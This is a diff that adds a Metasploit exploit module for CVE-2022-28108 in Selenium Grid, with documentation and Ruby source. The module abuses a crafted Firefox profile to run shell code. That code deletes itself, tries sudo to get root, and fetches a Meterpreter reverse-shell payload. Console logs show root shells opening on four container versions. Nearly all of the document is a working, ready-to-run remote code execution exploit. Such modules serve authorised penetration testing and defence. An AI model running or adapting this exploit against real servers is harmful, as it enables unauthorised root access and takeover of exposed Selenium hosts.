Add Selenium Firefox RCE module (CVE-2022-28108)

documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md

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+## Vulnerable Application
+
+Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
+allows CSRF because it permits non-JSON content types
+such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
+At least, the number of sessions must be fewer than maxSessions for the exploit to succeed.
+
+The vulnerability affects:
+
+    * Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
+
+This module was successfully tested on:
+
+    * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
+    * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
+    * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
+    * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
+
+
+### Installation
+
+1. `docker pull selenium/standalone-firefox:3.141.59`
+
+2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108`
+4. Do: `run lhost=<lhost> rhost=<rhost>`
+5. You should get a meterpreter
+
+
+## Options
+### TIMEOUT (required)
+
+This is the amount of time (in seconds) that the module will wait for the payload to be
+executed. Defaults to 75 seconds.
+
+
+## Scenarios
+### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
+```
+msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108
+[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options
+
+Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+   RPORT    4444             yes       The target port (TCP)
+   SSL      false            no        Negotiate SSL/TLS for outgoing connections
+   TIMEOUT  75               yes       Timeout for exploit (seconds)
+   VHOST                     no        HTTP server virtual host
+
+
+Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
+
+   Name                Current Setting  Required  Description
+   ----                ---------------  --------  -----------
+   FETCH_COMMAND       WGET             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+   FETCH_DELETE        true             yes       Attempt to delete the binary after execution
+   FETCH_FILENAME      NnnZmAGfjJoa     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
+   FETCH_SRVHOST                        no        Local IP to use for serving payload
+   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
+   FETCH_URIPATH                        no        Local URI to use for serving payload
+   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
+   LHOST                                yes       The listen address (an interface may be specified)
+   LPORT               4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445
+[*] Started reverse TCP handler on 192.168.56.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
+[*] Started session (3191e005-977b-40c9-8c70-7e2f4ef4f922).
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:43182) at 2025-01-04 10:01:09 +0900
+[*] Failed to delete the session (3191e005-977b-40c9-8c70-7e2f4ef4f922). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer     : 172.17.0.2
+OS           : Ubuntu 20.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```
+
+### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
+```
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446
+[*] Started reverse TCP handler on 192.168.56.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (dc849fa9-0b61-4862-8766-21f1cb47c827).
+[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:54410) at 2025-01-04 10:03:37 +0900
+[*] Failed to delete the session (dc849fa9-0b61-4862-8766-21f1cb47c827). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer     : 172.17.0.3
+OS           : Ubuntu 18.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```
+
+### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
+```
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
+[*] Started reverse TCP handler on 192.168.56.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2).
+[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:40680) at 2025-01-04 10:05:44 +0900
+[*] Failed to delete the session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer     : 172.17.0.4
+OS           : Ubuntu 20.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```
+
+### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
+```
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448
+[*] Started reverse TCP handler on 192.168.56.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (1657b5ac-c514-431f-8c83-761c14012869).
+[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.16:44868) at 2025-01-04 10:10:38 +0900
+[*] Failed to delete the session (1657b5ac-c514-431f-8c83-761c14012869). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer     : 172.17.0.5
+OS           : Ubuntu 24.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```

modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Selenium geckodriver RCE',
+        'Description' => %q{
+          Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
+          allows CSRF because it permits non-JSON content types
+          such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
+        },
+        'Author' => [
+          'Jon Stratton',     # Exploit development
+          'Takahiro Yokoyama' # Metasploit module
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2022-28108'],
+          ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
+          ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
+          ['EDB', '49915'],
+        ],
+        'Payload' => {},
+        'Platform' => %w[linux],
+        'Targets' => [
+          [
+            'Linux Command', {
+              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
+              'DefaultOptions' => {
+                'FETCH_COMMAND' => 'WGET'
+              }
+            }
+          ],
+        ],
+        'DefaultOptions' => {
+          'FETCH_DELETE' => true
+        },
+        'DefaultTarget' => 0,
+        'DisclosureDate' => '2022-04-18',
+        'Notes' => {
+          'Stability' => [ CRASH_SAFE, ],
+          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
+          'Reliability' => [ REPEATABLE_SESSION, ]
+        }
+      )
+    )
+    register_options(
+      [
+        Opt::RPORT(4444),
+        OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ])
+      ]
+    )
+  end
+
+  def check
+    # Request for Selenium Grid version 4
+    v4res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'status')
+    })
+    if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
+       v4res.get_json_document['value'].include?('message')
+      if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
+        return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
+      elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
+        return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
+      end
+    end
+
+    # Request for Selenium Grid version 3
+    v3res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path)
+    })
+    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200
+
+    js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
+    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
+
+    json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
+    begin
+      json_data = JSON.parse(json_str)
+    rescue JSON::ParserError
+      return Exploit::CheckCode::Unknown('Unable to determine the version.')
+    end
+    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
+
+    # Extract the version
+    version = Rex::Version.new(json_data['version'])
+    @version3 = version < Rex::Version.new('4.0.0')
+
+    CheckCode::Appears("Version #{version} detected, which is vulnerable.")
+  end
+
+  def exploit
+    # Build profile zip file.
+    stringio = Zip::OutputStream.write_buffer do |io|
+      # Create a handler for shell scripts
+      io.put_next_entry('handlers.json')
+      io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}')
+    end
+    stringio.rewind
+    encoded_profile = Base64.strict_encode64(stringio.sysread)
+
+    # Create session with our new profile
+    new_session = {
+      desiredCapabilities: {
+        browserName: 'firefox',
+        firefox_profile: encoded_profile
+      },
+      capabilities: {
+        firstMatch: [
+          {
+            browserName: 'firefox',
+            "moz:firefoxOptions": { profile: encoded_profile }
+          }
+        ]
+      }
+    }.to_json
+
+    # Start session with encoded_profile and save session id for cleanup.
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
+      'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
+      'data' => new_session
+    }, datastore['TIMEOUT'])
+    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
+
+    session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
+    fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
+
+    print_status("Started session (#{session_id}).")
+
+    b64encoded_payload = Rex::Text.encode_base64(
+      "rm -rf $0\n"\
+      "if sudo -n true 2>/dev/null; then\n"\
+      "  echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
+      "else\n"\
+      "  #{payload.encoded}\n"\
+      "fi\n"
+    )
+
+    data_url = "data:application/sh;charset=utf-16le;base64,#{b64encoded_payload}"
+    send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"),
+      'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
+      'data' => JSON.generate(url: data_url)
+    })
+    # The server does not send a response, so no check here
+
+    # This may take some time (about 5 minutes or so), so no timeout is set here.
+    res = send_request_cgi({
+      'method' => 'DELETE',
+      'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
+      'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
+    })
+    if res
+      print_status("Deleted session (#{session_id}).")
+    else
+      print_status("Failed to delete the session (#{session_id}). "\
+                   'You may need to wait for the session to expire (default: 5 minutes) or '\
+                   'manually delete the session for the next exploit to succeed.')
+    end
+  end
+
+end